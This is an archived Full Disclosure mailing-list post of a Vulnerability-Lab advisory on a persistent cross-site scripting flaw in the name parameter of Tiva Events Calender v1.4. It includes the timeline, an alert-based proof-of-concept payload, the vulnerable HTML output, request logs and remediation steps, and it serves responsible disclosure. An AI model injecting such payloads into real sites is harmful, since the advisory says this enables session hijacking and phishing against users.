[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability
From:       "info () vulnerability-lab ! com" <info () vulnerability-lab ! com>
Date:       2023-07-19 7:10:24
Message-ID: cad4a1e9-ede6-cec1-6c35-fe62348c986d () vulnerability-lab ! com
[Download RAW message or body]

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------kmo9AG2GD6e0GRSQRONQhLEG
From: "info@vulnerability-lab.com" <info@vulnerability-lab.com>
Reply-To: info@vulnerability-lab.com
To: fulldisclosure@seclists.org
Message-ID: <cad4a1e9-ede6-cec1-6c35-fe62348c986d@vulnerability-lab.com>
Subject: Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability
Content-Type: multipart/mixed; boundary="------------XwGTIO9hBHqWIfhOIRie0wYS"

[Attachment #2 (text/plain)]

Document Title:
==============Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability


References (Source):
===================https://www.vulnerability-lab.com/get_content.php?id"76


Release Date:
============2023-07-05


Vulnerability Laboratory ID (VL-ID):
===================================2276


Common Vulnerability Scoring System:
===================================5


Vulnerability Class:
===================Cross Site Scripting - Persistent


Current Estimated Price:
=======================500€ - 1.000€


Product & Service Introduction:
==============================Events Calendar For PHP is a powerful PHP calendar script that \
can be easily integrated and used with various PHP projects, such as scheduler, event handler, \
etc. The calendar is simple to install, deploy, and use. It is suitable for all types of \
service businesses to get online reservations without any hassles.

(Copy of the Homepage:https://codecanyon.net/item/tiva-events-calendar-for-php/19199337  )


Abstract Advisory Information:
=============================The vulnerability laboratory core research team discovered a \
persistent script code inject vulnerability in the Tiva Events Calender v1.4 web-application.


Affected Product(s):
===================tiva_theme
Product: Tiva Events Calender - Calender PHP (Web-Application)


Vulnerability Disclosure Timeline:
=================================2021-04-03: Researcher Notification & Coordination (Security \
                Researcher)
2021-04-04: Vendor Notification 1 (Security Department)
2021-06-24: Vendor Notification 2 (Security Department)
2021-07-13: Vendor Notification 3 (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2023-07-05: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
================Published


Exploitation Technique:
======================Remote


Severity Level:
==============Medium


Authentication Type:
===================Restricted Authentication (User Privileges)


User Interaction:
================Low User Interaction


Disclosure Type:
===============Responsible Disclosure


Technical Details & Description:
===============================A persistent input validation web vulnerability has been \
discovered in the official Tiva Events Calender v1.4 web-application. The vulnerability allows \
remote attackers to inject own malicious script codes with persistent attack vector to \
compromise browser to web-application requests from the application-side.

The vulnerability is located in the name input field and name parameter. Remote attackers \
privileged user accounts are able to inject own malicious script codes as name. Thus results in \
a persistent execute of the script code in the backend on edit but as well in the frontend \
(index) were the event is being displayed after the submit (save) via post method request. In \
the same direction it is possible to inject malformed client-side executable script code in get \
request to trigger a non-persistent execution.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing \
attacks, persistent external redirects to malicious source and persistent manipulation of \
affected frontend / backend application modules.

Request Method(s):
[+] POST / GET

Vulnerable Input(s):
[+] Name

Vulnerable Parameter(s):
[+] name

Affected Module(s):
[+] index.php (Frontend on Event Preview)
[+] edit.php (Backend on Edit ID)


Proof of Concept (PoC):
======================The persistent input validation web vulnerability can be exploited by \
remote attackers with low privileged user account and with low user interaction. For security \
demonstration or to reproduce the persistent cross site web vulnerability follow the provided \
information and steps below to continue.


Exploitation: Payload
%20"<img src="evil.source" onload=alert(document.domain)>


Vulnerable Source: Frontend (Index)
<tr><td class="calendar-day-normal"><span class="calendar-day-weekend">8</span></td>
<td class="calendar-day-normal"><div class="calendar-day-file">9<div class="calendar-file-name \
color-4" onclick="downloadFile(220)"> <span class="event-name">event1"%20"<img \
src="evil.source" onload=alert(document.domain)></span></div></div></td><td \
class="calendar-day-normal">10</td> <td class="calendar-day-normal">11</td><td \
class="calendar-day-normal">12</td><td class="calendar-day-normal">13</td> <td \
class="calendar-day-normal"><span class="calendar-day-weekend">14</span></td></tr>


Vulnerable Source: Backend (Edit ID)
<section class="panel">
<header class="panel-heading"><i class="fa fa-folder-open"></i> Edit File</header>
<div class="panel-body">
<div class="alert alert-success">
<button data-dismiss="alert" class="close close-sm" type="button">
<i class="fa fa-times"></i>
</button>Report successfully saved.</div>
<form class="form-horizontal" action="edit.php?id"0" method="post" \
enctype="multipart/form-data"> <div class="form-group">
<label class="col-lg-2 col-sm-2 control-label">Name<span class="star">&nbsp;*</span></label>
<div class="col-sm-8">
<input type="text" name="name" class="form-control" value="event1"%20"<img src="evil.source" \
onload=alert(document.domain)>" required /&gt; </div></div>


--- PoC Session Logs (POST) ---
https://tiva-cal.localhost:8080/admin/report/edit.php
Host: tiva-cal.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; \
                boundary=---------------------------249785717017581481612148649683
Content-Length: 745
Origin:https://tiva-cal.localhost:8080
Connection: keep-alive
Referer:https://tiva-cal.localhost:8080/admin/report/edit.php
Cookie: PHPSESSIDvgqk14e1s6cce40hfj11
name="%20%20"<img src="evil.source" onload=alert(document.domain)>&type=1&time \
                -08-2021&file=temp.txt&save-
POST: HTTP/2.0 200 OK
server: nginx
content-type: text/html
content-length: 1283
etag: "503-53ed12f4ca761"
accept-ranges: bytes
strict-transport-security: max-age768000; includeSubDomains
-
https://tiva-cal.localhost:8080/admin/report/evil.source
Host: tiva-cal.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: image/webp,*/*
Connection: keep-alive
Referer:https://tiva-cal.localhost:8080/admin/report/edit.php?id"2
Cookie: PHPSESSIDvgqk14e1s6cce40hfj11
-
GET: HTTP/2.0 200 OK
server: nginx
content-type: text/html
content-length: 1283
etag: "503-53ed12f4ca761"
accept-ranges: bytes
strict-transport-security: max-age768000; includeSubDomains


Solution - Fix & Patch:
======================The vulnerability can be patched by the following steps ...
1. Encode and escape the name input field content on transmit via post method
2. Restrict the input field and disallow insert of special chars
3. Parse the output location on the index frontend via encode to sanitize and prevent the \
execute 4. Parse the output location on the edit id report backend via encode to sanitize and \
prevent the execute


Security Risk:
=============The security risk of the persistent input validation vulnerability in the \
web-application is estimated as medium.


Credits & Authors:
=================Vulnerability-Lab [Research Team] \
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
========================The information provided in this advisory is provided as it is without \
any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, \
including the warranties of merchantability and capability for a particular purpose. \
Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, \
indirect, incidental, consequential loss of business profits or special damages, even if \
Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some \
states do not allow the exclusion or limitation of liability for consequential or incidental \
damages so the foregoing limitation may not apply. We do not approve or encourage anybody to \
break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com

Any modified copy or reproduction, including partially usages, of this file requires \
authorization from Vulnerability Laboratory. Permission to electronically redistribute this \
alert in its unmodified form is granted. All other rights, including the use of other media, \
are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, \
advisories, source code, videos and other information on this website is trademark of \
vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit \
our material contact (admin@ or research@) to get a ask permission.

				    Copyright  © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]â„¢



--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE


["OpenPGP_0x1554D09B2933E2FE.asc" (application/pgp-keys)]
["OpenPGP_signature.asc" (OpenPGP_signature.asc)]
-----BEGIN PGP SIGNATURE-----

wsF5BAABCAAjFiEE0BctHpBdnIQSMWpxFVTQmykz4v4FAmS3jGAFAwAAAAAACgkQFVTQmykz4v5t
4BAA81DksyEHKmjVdkTRQPNG7AZMOjNSgo8/TRLKw81DXTlqEWvlY0Ul7yGEGMKeHqrCKca9FsBm
kJShlsS5GodMKKlzSlFC8KCK+NQdXR3TxGdJwUXShJY2XsYDUAsViy7j72pSqoWfgfjhVeEFa9Ub
ik2k8dJX9EqqkIZXVYNCnM7a3aL8iwptfBMeTsWr0PFP52pG3rKfCr0KChpml1DfvjnUH2C7Ihjz
TB3Yz6ubEMjphVmw3crYjvo2t0b+n3hJknbeXnyMdvUFC7LURtqo6TOs8ffSVlBH+o4eHlEqnREN
rBeZ7z8wPbb4hFitLJGWvJwZoAWVg3bRBV8+DOIXx0xQ2W7No2z5IgxLrerJ89YD8SsWaqq1MhdI
QgWUsuWeU9T/ed3b48zOJ8I7oSw6hWkN3BW7lINlmPC8PjB8Wuegfj63n4OkkcTI8tOgCHNq5JEl
1y2IolHmDeZxExr/PjAfu2pJ6QWqTvyOx3/kQx9csfr7zfQ2ttHm3a/3An641V+CZ+Jprbmn48/J
dxdI+RD5Jruqo92CEzEFib+6a11Q6AtJtAIf/tNrN3AKS9y8Y/fQRkm5T2ganyfI4Z3y2XhFEmPt
7HKFKQ4+pMdEfjVbf3lgeQAiv8E0uU23JFKIGmtWIKZltu9Ux8ttTjkKEGFLwJ9A8yrfXb5VwG9F
EkY=
=OgBF
-----END PGP SIGNATURE-----

--------------kmo9AG2GD6e0GRSQRONQhLEG--


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
--===============9043815334092892757==--

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic